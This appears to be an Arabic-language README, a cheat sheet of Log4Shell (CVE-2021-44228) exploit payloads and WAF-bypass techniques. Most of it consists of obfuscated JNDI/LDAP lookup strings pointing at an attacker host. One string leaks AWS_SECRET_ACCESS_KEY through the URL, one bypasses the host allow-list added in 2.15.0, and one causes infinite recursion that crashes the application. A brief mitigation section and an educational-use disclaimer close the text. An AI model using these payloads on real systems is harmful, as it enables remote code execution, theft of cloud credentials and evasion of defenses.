
🐱💻 ✂️ 🤬 CVE-2021-44228 - استغلال LOG4J Java - حيل تجاوز WAF
CVE-2021-44228 يعمل على:
log4j: 2.0 <= Apache log4j <= 2.14.1
إصدارات Java التي تم تصحيحها بالفعل: 6u211+, 7u201+, 8u191+, 11.0.1+.
بدأ Windows Defender في إزالة ملفات .java التي تحتوي على jndi:ldap:....
نص بسيط للمهاجم (RCE محتمل):
${jndi:ldap://somesitehackerofhell.com/z}
بدأ WAF أو المطورون في حظر العبارات:
لتأمين التطبيقات.
ومع ذلك، يمكن للمهاجم تجاوز ذلك باستخدام إحدى هذه التقنيات:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
من وثائق Apache Log4j 2: ${env:ENV_NAME:-default_value}
إذا لم يكن هناك متغير بيئة نظام ENV_NAME، استخدم النص بعد :-
يمكن للمهاجم استخدام أي اسم بدلاً من ENV_NAME، ولكن يجب ألا يكون موجودًا.
أو يمكن للمخترق قراءة متغير بيئة، مثال لـ AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
تحقق من المزيد من الأسرار في 🦄🔒 قائمة رائعة من الأسرار في متغيرات البيئة 🖥️
يمكنك التحقق من متغيرات بيئة النظام لديك:
dir env:printenv أو env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${upper:p}://somesitehackerofhell.com/z}
Lookup الصغير يقوم LowerLookup بتحويل الوسيطة الممررة إلى أحرف صغيرة. من المفترض أن تكون القيمة نتيجة بحث متداخل.
${lower:<text>}
Lookup الكبير يقوم UpperLookup بتحويل الوسيطة الممررة إلى أحرف كبيرة. من المفترض أن تكون القيمة نتيجة بحث متداخل.
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
يتم تحويل ı إلى i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
إذا لم تكن هناك خاصية نظام SYS_NAME، استخدم النص بعد :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
يقوم تنسيق التاريخ في Java بتحويل YYYY إلى 2021، لكنه يحول 'YYYY' إلى YYYY أو 'j' إلى j.
استبدل الأحرف بـ:
يمكنك قراءة المزيد هنا مرجع ترميز URL HTML
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
لا يتحقق من وجود البحث ويقيم ببساطة إلى القيمة الافتراضية بكل سرور.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"بشكل منفصل، لا تمثل هذه المفاتيح والقيم هجومًا. لكنها مجتمعة تشكل هجومًا، وهذا الهجوم شفاف لأنظمة الكشف بسبب محلل JSON." اقرأ المزيد...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
حول بعض الأحرف إلى Unicode.
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
تجاوز فحوصات allowedLdapHost و allowedClasses في Log4J 2.15.0. تقوم طريقة java.net.URI getHost() بإرجاع القيمة قبل # كمضيف حقيقي. لكن محلل JNDI/LDAP سيحل إلى سلسلة اسم المضيف الكامل محاولًا الاتصال بخادم LDAP الخبيث.
${${::-${::-$${::-j}}}}
إذا تمت محاولة استبدال سلسلة لأي سبب على السلسلة التالية، فسيؤدي ذلك إلى تكرار لا نهائي وسيتعطل التطبيق تعطل.
قم بصياغة ملف PDF خاص لاستغلال CVE-2021-44228

لاختبار الإدخال يمكنك استخدام:
الخلاصة: قم بالتحديث إلى log4j-2.17.1 أو أحدث.
تخفيف Log4j 1.x: Log4j 1.x لا يحتوي على Lookups لذا الخطر أقل. التطبيقات التي تستخدم Log4j 1.x تكون عرضة لهذا الهجوم فقط عندما تستخدم JNDI في إعداداتها. تم تسجيل CVE منفصل (CVE-2021-4104) لهذه الثغرة. للتخفيف: قم بتدقيق إعدادات التسجيل الخاصة بك للتأكد من عدم وجود JMSAppender مكون. إعدادات Log4j 1.x بدون JMSAppender لا تتأثر بهذه الثغرة.
تخفيف Log4j 2.x: قم بتنفيذ إحدى تقنيات التخفيف أدناه.
لاحظ أن ملف log4j-core JAR فقط هو المتأثر بهذه الثغرة. التطبيقات التي تستخدم ملف log4j-api JAR فقط بدون ملف log4j-core JAR لا تتأثر بهذه الثغرة.

يمكن استخدام هذا المشروع للأغراض التعليمية فقط. استخدام هذا البرنامج ضد الأنظمة المستهدفة دون إذن مسبق غير قانوني، ولن يكون المؤلف مسؤولاً عن أي أضرار ناتجة عن سوء الاستخدام.
لست مؤلفًا لـ CVE-2021-44228 وبعض التجاوزات